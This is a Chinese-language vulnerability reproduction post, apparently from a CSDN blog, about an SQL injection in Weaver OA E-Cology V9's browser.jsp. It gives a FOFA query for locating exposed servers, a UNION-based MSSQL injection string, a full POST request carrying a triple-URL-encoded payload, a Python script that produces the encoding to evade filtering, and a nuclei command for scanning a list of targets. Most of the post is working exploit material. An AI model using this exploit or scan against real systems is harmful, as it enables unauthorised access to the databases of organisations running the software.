漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞

漏洞描述

泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology 平台browser.jsp处存在SQL注入漏洞，攻击者通过漏洞可以获取服务器数据库权限。

漏洞复现

fofa：app="泛微-协同商务系统"

使用POC查看当前数据库版本，返回结果

1.MSSQL命令：a' union select 1,''+(SELECT @@VERSION)+'2.POCPOST /mobile/%20/plugin/browser.jsp HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 649DNT: 1Connection: closeCookie: ecology_JSessionid=aaaDJa14QSGzJhpHl4Vsy; JSESSIONID=aaaDJa14QSGzJhpHl4Vsy; __randcode__=28dec942-50d2-486e-8661-3e613f71028aUpgrade-Insecure-Requests: 1isDis=1&browserTypeId=269&keyword=%2525%2536%2531%2525%2532%2537%2525%2532%2530%2525%2537%2535%2525%2536%2565%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2530%2525%2537%2533%2525%2536%2535%2525%2536%2563%2525%2536%2535%2525%2536%2533%2525%2537%2534%2525%2532%2530%2525%2533%2531%2525%2532%2563%2525%2532%2537%2525%2532%2537%2525%2532%2562%2525%2532%2538%2525%2535%2533%2525%2534%2535%2525%2534%2563%2525%2534%2535%2525%2534%2533%2525%2535%2534%2525%2532%2530%2525%2534%2530%2525%2534%2530%2525%2535%2536%2525%2534%2535%2525%2535%2532%2525%2535%2533%2525%2534%2539%2525%2534%2566%2525%2534%2565%2525%2532%2539%2525%2532%2562%2525%2532%2537

2.编写并使用三次url全字符加密编码的小脚本，如下

1命令：python Fanwei_e-cology9_decode_three.py2.脚本import osdef main():    clearFlag = "y"    while(1):        if clearFlag == "y" or clearFlag == "Y":            os.system("cls")        clearFlag = ""        string = input("请输入需要转换的字符串 :")        type = input("(输入1：进行三次url全字符编码 ) :")        while(type != "1"):            type = input("操作类型输入错误(输入1：进行三次url全字符编码) :")        if type == "1" :            for i in range(3):                string = encode(string)            encode_string = string            print("编码结果为："+encode_string+"\n")#编码def encode(string):    encode_string = ""    for char in string:        encode_char = hex(ord(char)).replace("0x","%")        encode_string += encode_char    return encode_stringmain()

2.nuclei验证

nuclei.exe -t FanWeiOA_E-Cology9_browser_SQL.yaml -l subs.txt -stats

来源地址：https://blog.csdn.net/qq_50854662/article/details/129661544